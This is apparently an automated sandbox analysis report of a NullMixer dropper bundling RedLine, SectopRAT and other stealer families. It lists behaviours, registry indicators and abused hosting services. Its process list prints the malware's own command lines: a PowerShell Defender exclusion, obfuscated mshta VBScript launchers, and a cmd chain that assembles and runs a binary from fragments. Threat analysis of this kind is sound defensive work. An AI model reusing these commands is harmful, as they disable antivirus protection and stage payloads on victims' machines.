Analysis Overview
SHA256
28bf29dd4aa031d8f0583b3ea8ad4fb4e67cfddec09957e7c4c423e3378b08db
Threat Level: Known bad
The file 28bf29dd4aa031d8f0583b3ea8ad4fb4e67cfddec09957e7c4c423e3378b08db.exe was found to be: Known bad.
Malicious Activity Summary
Detect Fabookie payload
RedLine
Socelars family
RedLine payload
SectopRAT payload
SectopRAT
NullMixer
Nullmixer family
Gcleaner family
Sectoprat family
Socelars
Socelars payload
OnlyLogger
Redline family
GCleaner
Onlylogger family
Fabookie
Fabookie family
OnlyLogger payload
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Checks computer location settings
Loads dropped DLL
ASPack v2.12-2.42
Reads user/profile data of web browsers
Looks up geolocation information via web service
Looks up external IP address via web service
Legitimate hosting services abused for malware hosting/C2
Checks installed software on the system
Drops Chrome extension
Suspicious use of SetThreadContext
Enumerates physical storage devices
Unsigned PE
System Location Discovery: System Language Discovery
Browser Information Discovery
Program crash
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of FindShellTrayWindow
Modifies registry class
Suspicious use of SendNotifyMessage
Suspicious behavior: EnumeratesProcesses
Enumerates system info in registry
Kills process with taskkill
Modifies data under HKEY_USERS
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Checks SCSI registry key(s)
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-22 09:48
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-22 09:48
Reported
2024-11-22 09:50
Platform
win10v2004-20241007-en
Max time kernel
106s
Max time network
119s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07cad998fb20a18.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
Reads user/profile data of web browsers
Drops Chrome extension
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hemlmgggokggmncimchkllhcjcaimcle\9.86.66_0\manifest.json | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07be2debb1a.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2248 set thread context of 2732 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0794d0eebce1.exe | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0794d0eebce1.exe |
Browser Information Discovery
Enumerates physical storage devices
Program crash
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun075246a0bffeab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0741b6b6c3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\control.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07cad998fb20a18.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0752b359bd184a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07be2debb1a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07e3a022a8656c5ca.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07778dd9fc6d53.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0794d0eebce1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0794d0eebce1.exe | N/A |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0741b6b6c3.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0741b6b6c3.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0741b6b6c3.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133767425630783860" | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0752b359bd184a.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0741b6b6c3.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0752b359bd184a.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07be2debb1a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07e3a022a8656c5ca.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun075246a0bffeab.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07778dd9fc6d53.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07fcb30681127.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07dc9d2dae027.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0750d1e499.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0794d0eebce1.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07cad998fb20a18.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0752b359bd184a.exe
Sun0752b359bd184a.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07fcb30681127.exe
Sun07fcb30681127.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2716 -ip 2716
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0741b6b6c3.exe
Sun0741b6b6c3.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0750d1e499.exe
Sun0750d1e499.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07be2debb1a.exe
Sun07be2debb1a.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07e3a022a8656c5ca.exe
Sun07e3a022a8656c5ca.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07778dd9fc6d53.exe
Sun07778dd9fc6d53.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07dc9d2dae027.exe
Sun07dc9d2dae027.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun075246a0bffeab.exe
Sun075246a0bffeab.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0794d0eebce1.exe
Sun0794d0eebce1.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07cad998fb20a18.exe
Sun07cad998fb20a18.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 580
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07cad998fb20a18.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07cad998fb20a18.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3920 -ip 3920
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0794d0eebce1.exe
C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun0794d0eebce1.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 356
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07cad998fb20a18.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS8C38280E\Sun07cad998fb20a18.exe") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Sun07cad998fb20a18.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 460
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 640
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 648
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffd9553cc40,0x7ffd9553cc4c,0x7ffd9553cc58
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 792
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1944,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1940 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2200,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2152 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2256,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2272 /prefetch:8
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 772
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3100,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3120 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3160 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4536,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4528 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4372,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1660 /prefetch:8
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 856
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 1056
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 1064
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4292 -ip 4292
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 1324
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5004,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5016 /prefetch:8
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4456,i,3367321091737411838,7520447406382268790,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3784 /prefetch:8
